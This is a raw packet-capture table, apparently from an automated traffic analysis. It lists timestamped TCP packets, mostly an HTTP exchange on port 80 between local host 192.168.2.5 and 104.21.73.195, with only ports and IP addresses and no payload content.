Dec 6, 2023 14:33:03.504076004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504117966 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.504148006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504165888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504204035 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.504234076 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504564047 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504604101 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.504654884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504753113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504791021 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.504796028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504867077 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504905939 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.504925966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.504987001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505029917 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505053997 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505084038 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505116940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505125046 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505182028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505223036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505258083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505291939 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505336046 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505341053 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505517006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505553961 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505565882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505659103 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505697012 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505718946 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505800962 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505839109 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505870104 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505928040 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.505965948 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.505973101 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506025076 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506062984 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.506068945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506103992 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506140947 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.506170988 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506234884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506253004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506273031 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.506342888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506388903 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.506472111 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506526947 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506562948 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.506591082 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506689072 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506727934 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.506756067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506846905 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.506891966 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.506922007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507034063 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507075071 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.507101059 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507200956 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507241011 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.507271051 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507379055 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507433891 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.507464886 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507563114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507602930 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.507627010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507836103 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.507879019 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.507903099 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508002996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508045912 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.508085012 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508172035 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508208990 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.508246899 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508327961 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508368969 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.508728981 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508797884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508833885 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.508879900 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.508980036 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509017944 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.509079933 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509166002 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509207964 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.509237051 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509576082 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509619951 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.509638071 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509685040 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509723902 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.509746075 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509780884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509820938 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.509848118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509902000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.509939909 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.510355949 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.510411978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.510462046 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.510468006 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.510512114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.510565042 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.510574102 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.510668039 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.510708094 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.510739088 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.510896921 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.510976076 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.511332035 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511379004 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.511400938 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511499882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511552095 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.511570930 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511672020 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511723995 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.511725903 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511787891 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511827946 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.511828899 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.512067080 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.512676954 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.512737036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.512768984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.512851954 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.512891054 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.512922049 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.513001919 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.513041019 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.513086081 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.513175011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.513212919 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.517188072 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.517206907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.517224073 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.517275095 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.569531918 CET	49673	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:03.571655989 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.575404882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.575423956 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.575439930 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.575486898 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.576693058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.576729059 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.576747894 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.576755047 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.576782942 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.576793909 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.580022097 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.580039978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.580058098 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.580073118 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.580075979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.580101013 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.585375071 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.585421085 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.585433006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.585450888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.585468054 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.585484982 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.585493088 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.585504055 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.585525036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.586481094 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.586498976 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.586515903 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.586528063 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.586535931 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.586554050 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.586561918 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.586572886 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.586601019 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.586606979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.586652040 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.587183952 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.587202072 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.587241888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.587251902 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.587260008 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.587295055 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.587306023 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.587316990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.587349892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.587359905 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.590533018 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.590550900 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.590588093 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.591504097 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.591521025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.591537952 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.591556072 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.591557026 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.591573954 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.591579914 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.591620922 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.591624975 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.591639996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.591680050 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.592237949 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592255116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592298985 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.592329025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592346907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592363119 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592389107 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.592395067 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592437983 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.592449903 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592884064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592901945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592920065 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592936039 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.592937946 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.592961073 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.593373060 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.593420029 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.593425989 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.593444109 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.593488932 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.593501091 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.593518972 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.593535900 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.593553066 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.593563080 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.593594074 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.594305038 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.594357014 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.594383955 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.594402075 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.594404936 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.594448090 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.594474077 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.594484091 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.594506979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.594532967 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.595217943 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.595259905 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.595273018 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.595299959 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.595316887 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.595335007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.595343113 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.595381975 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.595455885 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.595474958 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.595516920 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.596155882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.596174002 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.596199036 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.596215963 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.596246004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.596262932 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.596288919 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.596290112 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.596308947 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.596332073 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.597078085 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.597130060 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.597157001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.597176075 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.597208977 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.597223043 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.597227097 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.597246885 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.597270966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.597271919 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.597312927 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.598017931 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.598035097 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.598052025 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.598077059 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.598082066 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.598114967 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.598126888 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.598134041 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.598165989 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.598175049 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.598989010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.599005938 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.599023104 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.599037886 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.599064112 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.599126101 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.599143028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.599160910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.599178076 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.599186897 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.599226952 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.599877119 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600023985 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600040913 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600059032 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600070953 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.600078106 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600096941 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600097895 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.600114107 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600131035 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600143909 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.600167036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.600928068 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600944996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.600984097 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601001978 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.601032019 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601049900 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601067066 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601090908 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.601104975 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.601119041 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601854086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601871014 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601902962 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.601921082 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601938009 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.601959944 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.601999998 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602018118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602035046 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602046967 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.602086067 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.602840900 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602859020 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602879047 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602895975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602910042 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.602933884 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.602942944 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602961063 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.602978945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.603005886 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.603744030 CET	80	49706	104.21.73.195	192.168.2.5
